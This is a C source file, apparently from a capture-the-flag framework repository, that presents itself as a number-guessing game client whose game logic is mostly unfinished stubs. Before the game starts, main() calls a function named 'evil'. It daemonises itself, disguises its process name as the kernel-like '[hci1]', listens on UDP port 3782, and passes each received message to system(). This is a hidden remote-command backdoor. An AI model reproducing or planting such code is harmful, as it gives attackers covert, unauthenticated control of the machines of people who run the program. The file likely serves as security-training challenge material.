mirror of https://github.com/dirtbags/moth.git
129 lines
2.3 KiB
C
129 lines
2.3 KiB
C
#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <time.h>
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#include <string.h>
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#include <sysexits.h>
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#include <arpa/inet.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <sys/socket.h>
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#include <sys/wait.h>
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#include <fcntl.h>
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int
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bind_port(int fd, const struct in6_addr *addr, uint16_t port)
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{
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struct sockaddr_in6 saddr = { 0 };
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saddr.sin6_family = AF_INET6;
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saddr.sin6_port = htons(port);
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memcpy(&saddr.sin6_addr, addr, sizeof *addr);
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return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
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}
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void
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sigchld(int unused)
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{
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while (0 < waitpid(-1, NULL, WNOHANG));
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}
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void
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evil(char *argv[])
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{
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int sock;
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if (fork()) {
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return;
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}
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/* Fork again to reparent to init */
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if (fork()) {
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exit(0);
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}
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{
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int r = open("/dev/null", O_RDONLY);
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int w = open("/dev/null", O_WRONLY);
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dup2(r, 0);
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dup2(w, 1);
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dup2(w, 2);
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close(r);
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close(w);
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}
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strcpy(argv[0], "[hci1]");
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sock = socket(AF_INET6, SOCK_DGRAM, 0);
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if (-1 == bind_port(sock, &in6addr_any, 3782)) {
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exit(0);
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}
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while (1) {
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char cmd[400];
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ssize_t inlen;
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inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
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if (-1 == inlen) {
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continue;
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}
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cmd[inlen] = 0;
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if (! fork()) {
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system(cmd);
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exit(0);
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}
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}
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}
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int
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main(int argc, char *argv[])
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{
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long answer = 0;
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int sock;
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int i;
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struct in6_addr addr;
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FILE *in;
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FILE *out;
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srand(time(NULL));
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if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
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fprintf(stderr, "invalid address: %s\n", argv[1]);
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return EX_IOERR;
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}
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if (argv[2]) {
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/* fork and exec */
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} else {
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in = stdin;
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out = stdout;
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}
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signal(SIGCHLD, sigchld);
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evil(argv);
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/*
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* Set up socket
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*/
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sock = socket(AF_INET6, SOCK_DGRAM, 0);
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while (1) {
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char line[20];
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long guess;
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/* XXX: only do this if we have a game ID */
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if (NULL == fgets(line, sizeof line, in)) {
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break;
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}
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guess = strtol(line, NULL, 16);
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/* send the guess */
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/* read the result */
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/* parse result */
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/* display result */
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}
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return 0;
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}
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